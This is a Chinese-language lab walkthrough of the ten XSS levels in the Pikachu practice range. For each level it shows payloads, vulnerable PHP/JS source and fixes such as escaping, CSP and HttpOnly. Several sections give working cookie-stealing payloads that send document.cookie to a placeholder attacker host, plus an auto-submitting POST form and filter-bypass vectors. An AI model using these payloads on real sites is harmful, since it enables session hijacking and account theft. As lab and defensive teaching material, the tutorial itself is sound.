**摘要:**本文先从零基础视角讲解 XSS 的核心原理、三大分类与实际危害,针对 Pikachu 靶场中XSS 跨站脚本模块的全部关卡进行零基础保姆级拆解。文章先补充前端输入长度限制的通用绕过方案,解决新手 "输入框输不全 Payload" 的常见痛点;随后从最基础的反射型 XSS 开始,依次覆盖反射型(GET/POST)、存储型、DOM 型、DOM-X 型、盲打、过滤绕过、htmlspecialchars 绕过、href 属性输出、JS 代码输出共 10 类场景。
在上一篇中,我们完成了Pikachu靶场的环境搭建,吃透了暴力破解模块的四种场景与防御逻辑。从本篇开始,我们正式进入客户端漏洞的核心领域------XSS跨站脚本攻击。
如果说暴力破解是利用业务逻辑的"笨办法",那XSS就是利用网页输出逻辑的"灵巧攻击"。它常年位列OWASP Top10前端漏洞之首,广泛存在于各类留言板、搜索框、用户资料页中,轻则篡改页面恶搞用户,重则盗取账号、发起钓鱼攻击,甚至能打穿内网边界。
在正式动手之前,我们先搞懂XSS的本质,再逐个击破Pikachu中的所有XSS关卡。
一、零基础先懂:XSS到底是什么?
1.1 XSS的核心原理
XSS全称Cross-Site Scripting(跨站脚本攻击),为了和层叠样式表CSS区分,业内简称XSS。
它的本质非常简单:攻击者向网页中注入恶意的JavaScript代码,当其他用户访问该页面时,浏览器会无差别地执行这段恶意代码,从而达到攻击目的。
举个生活化的例子:一个留言板没有对用户输入的内容做过滤,你在留言里写了一段<script>alert('你被攻击了')</script>,提交之后,所有打开这个留言板的人,浏览器都会自动弹出"你被攻击了"的弹窗------这就是最基础的XSS攻击。
很多新手会混淆XSS和SQL注入,这里一句话分清:
-
SQL注入:注入的SQL语句在后端数据库执行,直接危害服务器数据;
-
XSS:注入的JS脚本在用户浏览器执行,危害所有访问页面的用户。

1.2 XSS的三大主流类型
根据攻击脚本的存储位置和触发方式,XSS分为三大类,难度和危害依次递增:
反射型XSS
-
特点:恶意脚本不会存储在服务器上,而是藏在URL链接里,需要诱导用户点击带参数的URL才能触发;
-
典型场景:搜索框、错误提示页、参数回显页;
-
危害:一次性,只能攻击点击链接的单个用户,隐蔽性一般。
存储型XSS
-
特点:恶意脚本会被存入服务器数据库中,所有访问该页面的用户都会自动触发攻击;
-
典型场景:留言板、评论区、用户昵称、个人资料页;
-
危害:持久性,影响所有访问用户,危害远大于反射型,是高危漏洞。
DOM型XSS
-
特点:不经过后端处理,完全由前端JavaScript读取URL参数并直接渲染到页面DOM中触发漏洞;
-
典型场景:前端路由、页面跳转、本地渲染的动态内容;
-
危害:隐蔽性极强,传统后端过滤很难检测到,容易被开发忽略。
1.3 XSS的真实危害:不只是弹个窗
很多新手觉得XSS就是弹个窗的"小恶作剧",这是非常错误的认知。实战中XSS的危害远超想象:
-
盗取账号Cookie:最经典的利用方式,通过JS获取用户的会话Cookie,发送给攻击者,攻击者就能直接冒用用户身份登录系统,无需密码;
-
页面篡改与钓鱼:修改页面内容,插入虚假广告、伪造登录框,诱导用户输入账号密码,实现钓鱼攻击;
-
键盘记录:监听用户的所有键盘输入,窃取银行卡号、密码等敏感信息;
-
内网探测与跳板:利用用户浏览器作为跳板,扫描企业内网端口、访问内网系统,打穿内网边界;
-
挂马与挖矿:植入恶意脚本,利用用户CPU资源挖矿,或者静默下载木马病毒。
二、前端输入长度限制的通用绕过方法
很多新手在做 XSS 关卡时会遇到第一个坑:输入框有字数限制,长一点的 Payload 根本输不进去。这是前端通过maxlength属性做的表层限制,只限制浏览器输入,不限制后端接收,有两种非常简单的绕过方法,所有关卡通用。
方法 1:浏览器开发者工具直接修改(最简单)
在输入框页面按F12打开开发者工具,点击左上角的「选择元素」箭头,点击输入框;
在右侧元素代码中找到maxlength="xx"属性,要么直接删掉这个属性,要么把数值改大(比如改成 1000);
回车确认后,输入框就可以输入任意长度的内容了。

方法 2:Burp Suite 抓包修改(最通用)
开启 Burp 代理,在输入框里随便输入简短内容(比如test),点击提交;
Burp 拦截到请求后,在请求体 / URL 参数里找到对应的参数,直接把test替换成完整的 Payload;
点击放行请求,后端就会接收到完整的恶意代码,完全绕过前端长度限制。
所有存在前端长度限制的关卡,都可以用这两种方法绕过,下文不再重复说明。
三、关卡实战1:反射型XSS(GET型)
这是所有XSS里最简单的一种,也是入门必练的第一个场景,完美对应"输入即回显"的典型漏洞逻辑。
3.1 关卡介绍
页面有一个搜索输入框,提示输入Which NBA player do you like?,输入内容后点击提交,页面会回显"您输入的内容是:xxx"。所有参数通过GET方式传递,输入内容直接显示在页面上。
3.2 攻击思路
既然用户输入的内容会被原封不动地回显在HTML页面上,那我们输入一段JavaScript代码,浏览器就会把它当成正常的脚本解析执行。
3.3 实操步骤与攻击效果
进入关卡,在输入框里输入最基础的测试Payload:
<script>alert('反射型XSS测试成功')</script>

点击提交按钮,页面立刻弹出弹窗,显示我们输入的文字,漏洞验证成功。

观察浏览器地址栏,你会发现我们输入的内容直接出现在了URL的message参数里,格式类似:

只要把这个链接发给其他人,对方点击后就会触发弹窗,这就是"反射型"的由来------恶意脚本藏在URL里,服务器原封不动地反射回来,交给浏览器执行。
进阶攻击:盗取Cookie 弹窗只是验证漏洞存在,实战中我们要获取有效信息。输入以下Payload,就能弹出当前用户的会话Cookie:
bash
<script>alert(document.cookie)</script>
执行后,弹窗里会显示当前页面的PHPSESSID等核心Cookie信息,攻击者拿到这个会话ID,就能直接冒用用户身份登录系统,无需密码。

3.4 源码深度解析
为什么输入的脚本会被浏览器执行?看看后端PHP的核心处理逻辑:
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>输入'kobe'试试-_-</p>";
}else{
if($_GET['message']=='kobe'){
$html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
}else{
$html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
}
}
}
逐行代码讲解:
后端接收GET方式传递的message参数;
没有对参数做任何过滤、转义、校验处理,直接用字符串拼接的方式,把用户可控的输入拼接到了返回给浏览器的HTML代码里;
浏览器收到返回的页面时,会把<script>标签当成正常的JavaScript代码来解析执行,漏洞就此产生。
一句话总结成因:用户可控输入直接输出到HTML,无任何安全处理。
3.5 对应防御方案
针对GET型反射XSS,最基础也最有效的修复方式,是对输出到HTML页面的内容进行HTML实体转义。
PHP中可以使用内置函数htmlspecialchars(),把<、>、"、'等特殊字符转义成HTML实体,让浏览器把它当成普通文本渲染,而不是代码解析。
修复后的代码示例:
$html.="<p class='notice'>who is ".htmlspecialchars($_GET['message']).",i don't care!</p>";
转义后,<script>会变成<script>,浏览器只会显示这段文字,不会执行其中的脚本,漏洞被修复。

四、关卡实战2:反射型XSS(POST型)
4.1 关卡介绍
该页面需要先以 admin / 123456 登录后才能访问。同样是一个输入框,提交后回显内容,但数据通过 POST 方法 传递,参数不出现在 URL 中。
4.2 攻击思路
POST 型反射 XSS 无法直接通过一个链接攻击,因为数据在请求体中。攻击者需要制作一个自动提交恶意表单的页面,诱使已登录的受害者访问,让其浏览器代为发起 POST 请求触发漏洞。
4.3 实操步骤与攻击效果
用账号 admin、密码 123456 登录 Pikachu。

进入该关卡,输入测试 Payload <script>alert('POST型XSS')</script>,提交后立即弹窗,证明漏洞存在。

进阶攻击:窃取 Cookie
制作一个恶意 HTML 文件(如 attack.html),内容如下:
html
<html>
<body>
<form id="evil" action="http://localhost/pikachu/vul/xss/xsspost/xss_reflected_post.php" method="POST">
<input type="hidden" name="message" value="<script>new Image().src='http://攻击者IP:8888/?cookie='+document.cookie</script>">
<input type="hidden" name="submit" value="submit">
</form>
<script>document.getElementById('evil').submit();</script>
</body>
</html>
当受害者已经登录 Pikachu 的情况下,打开这个攻击页面,表单会自动提交,触发 XSS,Cookie 被发送到攻击者服务器。整个过程用户毫无察觉。
4.4 源码深度解析
后端核心代码:
html
if(isset($_POST['submit'])){
$message = $_POST['message'];
$html .= "<p class='notice'>你输入的内容是:{$message}</p>";
}
与 GET 型完全相同,只是接收方式变成了 $_POST,并且要求登录态。但登录态对 XSS 本身无效,代码依然毫无过滤地将用户内容拼接进 HTML。
4.5 对应防御方案
-
同样使用
htmlspecialchars()对输出进行转义。 -
增加 CSRF Token,使攻击者无法构造合法的自动提交表单。
-
为会话 Cookie 设置
SameSite=Lax/Strict,限制跨站请求携带 Cookie。
五、关卡实战3:存储型XSS
5.1 关卡介绍
一个典型的留言板功能,用户可以发布留言,留言内容会被存入数据库,任何人访问该页面时,都会加载并显示所有历史留言。
5.2 攻击思路
在留言中植入恶意脚本,因为数据被存储在服务器,任何访客(包括管理员)浏览留言列表时,都会触发该脚本,危害极大且持久。
5.3 实操步骤与攻击效果
在留言框输入:<script>alert('存储型XSS')</script>,点击提交。

页面刷新后,弹窗立即出现。无论我们或其他用户何时再次打开该页面,弹窗都会反复执行。

进阶攻击:大规模 Cookie 收割
将 Payload 改为:
html
<script>new Image().src='http://攻击者IP:8888/?cookie='+document.cookie</script>
发布后,每一个访问留言板的用户,其 Cookie 都会被悄然发送到攻击者的监听服务器。如果管理员也查看了留言,管理员的 Session ID 同样会被窃取,攻击者借此可直接登录后台。
5.4 源码深度解析
存储留言与显示留言的关键逻辑:
html
// 写入数据库(简化)
$sql = "INSERT INTO xss_message (content) VALUES ('{$_POST['content']}')";
// 读取并显示
$result = mysqli_query($conn, "SELECT content FROM xss_message");
while($row = mysqli_fetch_assoc($result)){
echo "<p>{$row['content']}</p>";
}
输入先被拼接到 SQL 语句存入数据库,再从数据库取出直接拼接进 HTML。整个过程未对内容做任何转义或过滤,导致恶意脚本被持久化并执行。
5.5 对应防御方案
-
输出时进行 HTML 实体编码,即使在入库前做过过滤,也必须再编码。
-
如果业务需要支持部分 HTML(如富文本),使用专业的清理库,如 HTML Purifier 或 OWASP AntiSamy,基于白名单过滤标签和属性。
-
设置
HttpOnly和SecureCookie。 -
配置严格的内容安全策略(CSP),禁止内联脚本执行。
六、关卡实战4:DOM型XSS
6.1 关卡介绍
该关卡无需与服务器交互,完全由前端 JavaScript 读取用户输入,然后通过 DOM 操作将其动态插入页面。Pikachu 这一关会将你的输入拼接到一个 <a> 标签的 href 属性中。
6.2 攻击思路
因为输入被放入链接属性,可以尝试输入 javascript:alert(1) 这样的伪协议,当用户点击链接时,就会执行 JavaScript。也可以闭合属性并添加事件处理器。
6.3 实操步骤与攻击效果
在输入框输入:
html
javascript:alert("DOM型XSS")
点击click me然后页面会生成一个链接,显示"what do you see?",点击该链接,弹窗出现。

进阶利用:
html
javascript:document.location="http://攻击者IP:8888/?cookie="+document.cookie
输入以上内容,点击后浏览器会跳转并带走 Cookie。
6.4 源码深度解析
前端核心 JavaScript:
html
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
用户输入 str 被直接拼接到 HTML 字符串,然后通过 innerHTML 写入页面。没有做任何校验,导致可以注入 javascript: 伪协议。
6.5 对应防御方案
-
避免使用
innerHTML、document.write拼接不可信数据。 -
使用安全方法,如
textContent,或借助前端框架的自动转义(React、Vue 默认转义)。 -
若必须动态创建链接,对协议进行白名单校验,只允许
http:和https:。 -
启用 CSP,禁止
unsafe-inline和特定来源。
七、关卡实战5:DOM型XSS-X
7.1 关卡介绍
本关卡是「DOM型XSS」的进阶变体,初始页面仅显示输入框与**「请说出你的伤心往事」** 提交按钮,无任何链接内容。 在输入框填写内容并点击按钮后,页面会以GET方式刷新,URL中携带text参数;同时前端JavaScript会自动读取URL里的text参数,动态生成一段文字超链接,链接的href跳转地址完全由text参数控制。
和纯DOM型XSS(关卡4)的核心区别:
-
关卡4是纯前端本地操作,输入后不刷新页面、不与后端交互,无法通过URL传播;
-
本关卡的输入会通过URL参数传递、页面刷新后再由前端渲染,属于**「反射型输入 + DOM型输出」**的结合体,可以直接通过分享URL的方式诱导他人触发,利用门槛更低、隐蔽性更强。
7.2 攻击思路
前端JS会从URL中读取text参数的值,直接拼接到<a>标签的href属性中并插入页面DOM。利用浏览器原生支持javascript:伪协议的特性,在text参数中注入恶意JS代码,用户点击生成的超链接时,浏览器就会执行伪协议后的代码,触发XSS攻击。
7.3 实操步骤与攻击效果
进入关卡,确认初始状态:仅显示输入框与提交按钮,页面无超链接内容。

在输入框中输入测试Payload:
html
javascript:alert("DOM-X型XSS触发")

点击「请说出你的伤心往事」按钮,页面自动刷新,地址栏URL变为:

同时页面中会生成蓝色超链接,固定显示文字:有些费尽心机想要忘记的事情,后来真的就忘掉了。

点击页面中生成的这段文字超链接,会触发domxss()函数,生成另一条蓝色超链接,固定显示文字:就让往事都随风,都随风吧。

再点击这条链接,浏览器立即弹出弹窗,XSS漏洞触发成功。

进阶验证(反射特性) :直接修改浏览器地址栏中text=后面的内容,刷新页面后会生成对应跳转地址的链接,无需通过输入框提交。说明该漏洞可直接通过URL传播,诱导受害者访问链接即可触发攻击。
点击生成的超链接后可执行任意JavaScript代码,可扩展为盗取Cookie、页面钓鱼、跳转恶意网站等实战攻击;
恶意代码藏在URL参数中,可直接分享链接诱导他人触发,传播性远强于纯DOM型;
参数表面经过后端传输,但后端未做任何处理,最终触发点仍在前端DOM操作,传统后端WAF、输入过滤很容易漏判。
7.4 源码深度解析
后端PHP代码
bash
$html='';
if(isset($_GET['text'])){
// 后端只判断text参数是否存在,存在就输出一段固定的HTML
// 重点:完全没有把text参数的值输出到页面里!
$html.= "<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>";
}
逐行代码讲解:
初始化$html为空字符串;
判断 GET 请求中是否存在text参数,只判断「有没有」,不处理、不输出参数的具体内容;
如果参数存在,就给$html追加一段固定写死的 a 标签 ,这个标签的作用只是点击时调用前端的domxss()函数;
后续通过<?php echo $html;?>把这段固定代码渲染到页面上。
前端核心JS代码(漏洞根源)
bash
function domxss(){
// 1. 获取当前页面URL的查询字符串(?后面的所有内容)
var str = window.location.search;
// 2. 用text=分割字符串,取分割后的第二部分(也就是text参数的值)
var txss = decodeURIComponent(str.split("text=")[1]);
// 3. 把参数里的+号替换成空格(处理URL编码的空格)
var xss = txss.replace(/\+/g,' ');
// 4. 核心漏洞行:直接把参数值拼接到href属性,通过innerHTML插入DOM
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
逐行代码讲解:
window.location.search 拿到 URL 中?后面的完整查询串,比如?text=javascript:alert(1);
用split("text=")把字符串切成数组,取索引为 1 的元素,得到参数原始值,再用decodeURIComponent做 URL 解码;
把参数里的+替换成空格,兼容表单提交的默认编码;
直接把处理后的参数值,通过字符串拼接待入到<a>标签的href属性里,属性用单引号包裹;
最后通过innerHTML把完整的标签写入页面 DOM 树,浏览器解析后生成可点击的链接。
7.5 对应防御方案
-
避免使用
innerHTML处理来自location、referrer等外部源的数据。 -
若需显示纯文本,使用
textContent替代innerHTML。 -
必须使用 HTML 内容时,先进行严格的客户端过滤(如 DOMPurify)。
-
配置 CSP 限制内联脚本和外部资源。
八、关卡实战6:XSS之盲打
8.1 关卡介绍
一个"投诉建议"提交表单,普通用户提交后看不到任何回显,但是管理员在后台会查看这些建议。攻击者自身无法直接观察到执行效果。
8.2 攻击思路
将恶意脚本作为建议内容提交,只要管理员在后台查看,脚本就会在管理员浏览器中执行。通常用来盗取管理员的 Cookie,进而接管后台。
8.3 实操步骤与攻击效果
在建议框输入:<script>alert('盲打XSS')</script>,提交。

访问 http://localhost/pikachu/vul/xss/xssblind/admin_login.php,用 admin / 123456 登录后台,点击查看留言。

立刻弹出窗口,证明漏洞存在。

8.4 源码深度解析
关键代码逻辑与存储型 XSS 类似,都是将用户提交的内容存储到数据库,管理员查看页面时从数据库取出直接输出。区别仅在于前台用户看不到这个输出,但危害丝毫不减。
bash
// 管理员后台
$res = mysqli_query($conn, "SELECT content FROM xss_blind");
while($row = mysqli_fetch_assoc($res)){
echo "<div>{$row['content']}</div>";
}
8.5 对应防御方案
-
所有用户可控内容的输出点,无论前台还是后台,都必须进行 HTML 实体编码。
-
配置 CSP 和 HttpOnly Cookie,即使有漏网之鱼也能降低损失。
-
定期进行自动化扫描和人工代码审计,关注管理后台的安全性。
九、关卡实战7:XSS之过滤
9.1 关卡介绍
开发者意识到 XSS 风险,尝试对输入进行过滤,比如将 <script> 替换为空字符串。但基于黑名单的过滤非常容易被绕过。
9.2 攻击思路
采用各种绕过技巧,如双写、大小写混淆、使用其他标签等,让过滤机制失效。
9.3 实操步骤与攻击效果
绕过手法1:大写绕过,输入:
bash
<SCRIPT>alert('大小写绕过')</SCRIPT>

点击提交,页面触发弹窗,成功绕过 script 标签过滤,弹窗成功。

绕过手法2:标签替换 直接使用不包含 script 标签的 Payload:
bash
<img src=x onerror=alert('过滤绕过成功')>
或者:
bash
<svg onload=alert('过滤绕过成功')>
这两种方式完全不涉及 <script>,如果过滤只针对 script 标签,那么可轻松执行。


进阶利用:同样可以将弹窗替换为窃取 Cookie 的脚本,上述两种向量都支持。
9.4 源码深度解析
过滤逻辑为:
bash
$message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);
从用户输入的 message 参数中,用正则表达式匹配所有「以 < 开头、中间按顺序出现 s c r i p t 字母」的字符串,把匹配到的内容替换为空(直接删掉) ,最后把处理后的结果赋值给 $message,因此大写、其他标签均可轻易绕过。
9.5 对应防御方案
-
不要依赖黑名单,使用 htmlspecialchars 进行输出转义才是根本。
-
如果必须做输入过滤,结合白名单和成熟的防 XSS 库(如 HTML Purifier)。
-
输出时仍然必须编码,因为新攻击向量层出不穷,过滤永远只能作为辅助。
十、关卡实战8:XSS之htmlspecialchars
10.1 关卡介绍
这一关告诉我们,即使使用了 htmlspecialchars(),如果输出位置特殊(比如在标签属性中),依然可能被绕过。
10.2 攻击思路
htmlspecialchars() 默认会转义 < > " ' &,但如果用户输入被放到 <a href="..."> 的 URL 中,冒号、字母等不会被转义,导致伪协议 javascript:alert(1) 可被执行。
10.3 实操步骤与攻击效果
在输入框输入:
bash
javascript:alert("htmlspecialchars绕过")

页面生成链接,点击链接触发弹窗。


进阶利用 :输入 javascript:document.location='http://攻击者IP:8888/?cookie='+document.cookie,诱导点击即可盗取 Cookie。
10.4 源码深度解析
bash
$message=htmlspecialchars($_GET['message']);
$html2.="<a href='{$message}'>{$message}</a>";
htmlspecialchars 把 < > 转义了,但 javascript: 这些字符完全合法,没有转义,导致可执行。这正是"上下文编码"不当的典型案例------在 URL 属性中输出,只做 HTML 实体编码是不够的。
10.5 对应防御方案
-
对输出在 URL 属性中的内容,先校验协议,只允许
http、https,不允许javascript:等危险伪协议。 -
结合 URL 编码,但协议白名单是更可靠的防御。
-
如果使用
htmlspecialchars,务必评估输出上下文,必要时进行额外处理。
十一、关卡实战9:XSS之href输出
11.1 关卡介绍
本关卡专门演示了用户输入被直接拼接在 <a href="..."> 中的情况,与上一关类似,但更纯粹地聚焦于 href 属性。
11.2 攻击思路
输入 javascript:alert(1) 就能实现点击触发执行。
11.3 实操步骤与攻击效果
在输入框输入 javascript:alert('href XSS')。

页面出现链接,点击后弹窗。


结合盲打:如果这个输入会出现在其他用户的页面中(如个人资料链接),则可以窃取点击该链接用户的 Cookie。
11.4 源码深度解析
bash
$message=htmlspecialchars($_GET['message'],ENT_QUOTES);
$html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";
没有任何过滤和校验,直接输出,伪协议畅通无阻。
11.5 对应防御方案
-
必须校验 URL 的协议,只允许
http://或https://开头,可使用filter_var($url, FILTER_VALIDATE_URL)并结合协议判断。 -
输出时仍然要进行 HTML 实体编码,但不足以防御伪协议。
十二、关卡实战10:XSS之JS输出
12.1 关卡介绍
用户输入被动态输出到页面里的 <script> 标签内部的 JavaScript 变量中。这是最容易被忽略的 XSS 场景之一。
12.2 攻击思路
闭合原有的字符串引号,插入自己的 JavaScript 代码,并将后面的代码注释掉,即可执行任意脚本。
12.3 实操步骤与攻击效果
输入基础标签 Payload 无效,因为内容在 JS 代码里,不会被当作 HTML 解析;构造 JS 闭合 Payload:
bash
';alert('JS输出型XSS触发');//

提交页面,自动触发弹窗。
12.4 源码深度解析
bash
$jsvar=$_GET['message'];
$ms='<?php echo $jsvar;?>';
用户输入直接拼接到 JS 代码的字符串变量中;
输入';alert(1);//后,最终生成的 JS 代码变为:
bash
ms = '';alert('JS输出型XSS触发');//';
单引号闭合了原字符串,分号结束原语句,插入我们的 alert 代码,最后用//注释掉后面的内容,语法完全合法,浏览器正常执行。
12.5 对应防御方案
-
对输出到 JavaScript 上下文中的变量进行 JavaScript 转义 ,可以使用
json_encode等方式,确保特殊字符被安全转义。 -
不要将用户输入直接放在
<script>标签内,改用data-*属性传递,再由 JS 安全读取。 -
在后端对输入进行严格类型验证,如只允许数字、字母等。
-
强制使用 CSP,禁止内联脚本执行(
script-src 'self')。
十三、XSS企业级综合防御体系
单个漏洞的单点修复只是基础,企业级的XSS防御需要多层防护,形成纵深防御体系:
13.1 开发层:输入输出全链路管控
-
输入白名单校验:对所有用户输入进行格式校验,优先采用白名单机制,只允许合法的字符和格式,而非黑名单过滤;
-
场景化输出转义:根据输出的场景(HTML、JavaScript、CSS、URL属性),选择对应的转义方式,不能一种转义用到底;
-
富文本专用处理:对于需要保留HTML格式的富文本内容,使用专业的HTML净化器(如HTMLPurifier),基于白名单过滤危险标签和属性。
13.2 浏览器层:安全头与Cookie加固
-
HttpOnly Cookie :给所有会话Cookie设置
HttpOnly属性,禁止JavaScript读取Cookie,大幅降低XSS盗号的危害; -
Content-Security-Policy(CSP):内容安全策略,通过HTTP响应头设置脚本资源白名单,只允许加载指定域名的脚本,直接禁止执行内联脚本和未授权外部脚本,是目前最强的XSS防御手段。
13.3 运维层:边界防护
在网站前置部署Web应用防火墙(WAF),内置XSS攻击特征库,拦截常见的XSS攻击Payload,作为额外的防护层。但需要注意:WAF不是万能的,存在多种绕过方式,绝对不能替代代码层面的根本修复。
总结
通过十个关卡的实战与源码分析,我们可以提炼出 XSS 攻防的核心逻辑:
攻击的本质:用户输入的数据被浏览器当成代码解析,破坏了数据与代码的边界。
漏洞产生根源:在将数据输出到页面不同位置时,未根据上下文进行恰当编码或校验。
防御黄金法则:
-
输出编码 :HTML 上下文用
htmlspecialchars,JS 上下文用\xHH或json_encode,URL 上下文校验协议。 -
输入校验:作为辅助,采用白名单限制格式。
-
附加防护:HttpOnly Cookie、CSP 策略、CSRF Token 等多层防线。
无论是反射型、存储型还是 DOM 型,万变不离其宗。现在,你已经能够从弹窗验证,到 Cookie 窃取,再到远程控制浏览器,完整走完 XSS 攻击链。
**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。